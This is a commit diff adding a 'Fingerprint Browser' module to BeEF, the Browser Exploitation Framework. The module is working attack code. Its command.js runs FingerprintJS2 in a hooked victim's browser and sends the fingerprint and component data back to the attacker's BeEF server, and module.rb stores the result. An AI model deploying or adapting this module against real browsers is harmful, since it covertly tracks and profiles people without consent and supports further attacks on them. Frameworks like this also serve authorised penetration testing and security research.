Add Fingerprint Browser module using FingerprintJS2 library
This commit is contained in:
29
modules/browser/fingerprint_browser/command.js
Normal file
29
modules/browser/fingerprint_browser/command.js
Normal file
@@ -0,0 +1,29 @@
|
||||
//
|
||||
// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
<%=
|
||||
begin
|
||||
f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js"
|
||||
File.read(f)
|
||||
rescue => e
|
||||
print_error "[Fingerprint Browser] Could not read file '#{f}': #{e}"
|
||||
end
|
||||
%>
|
||||
|
||||
try {
|
||||
new Fingerprint2().get(function(result, components){
|
||||
beef.debug('[Fingerprint Browser] Result: ' + result);
|
||||
beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + result + '&components=' + JSON.stringify(components), beef.are.status_success());
|
||||
});
|
||||
} catch(e) {
|
||||
beef.debug('[Fingerprint Browser] Error: ' + e.message);
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());
|
||||
}
|
||||
});
|
||||
|
||||
15
modules/browser/fingerprint_browser/config.yaml
Normal file
15
modules/browser/fingerprint_browser/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
fingerprint_browser:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Fingerprint Browser"
|
||||
description: "This module attempts to fingerprint the browser using <a href='https://github.com/Valve/fingerprintjs2'>FingerprintJS2</a>."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
1333
modules/browser/fingerprint_browser/fingerprint2.js
Normal file
1333
modules/browser/fingerprint_browser/fingerprint2.js
Normal file
File diff suppressed because it is too large
Load Diff
19
modules/browser/fingerprint_browser/module.rb
Normal file
19
modules/browser/fingerprint_browser/module.rb
Normal file
@@ -0,0 +1,19 @@
|
||||
#
|
||||
# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
class Fingerprint_browser < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['fingerprint'] = @datastore['fingerprint'] unless @datastore['fingerprint'].nil?
|
||||
content['components'] = @datastore['components'] unless @datastore['components'].nil?
|
||||
if content.empty?
|
||||
content['fail'] = 'Failed to fingerprint browser.'
|
||||
end
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user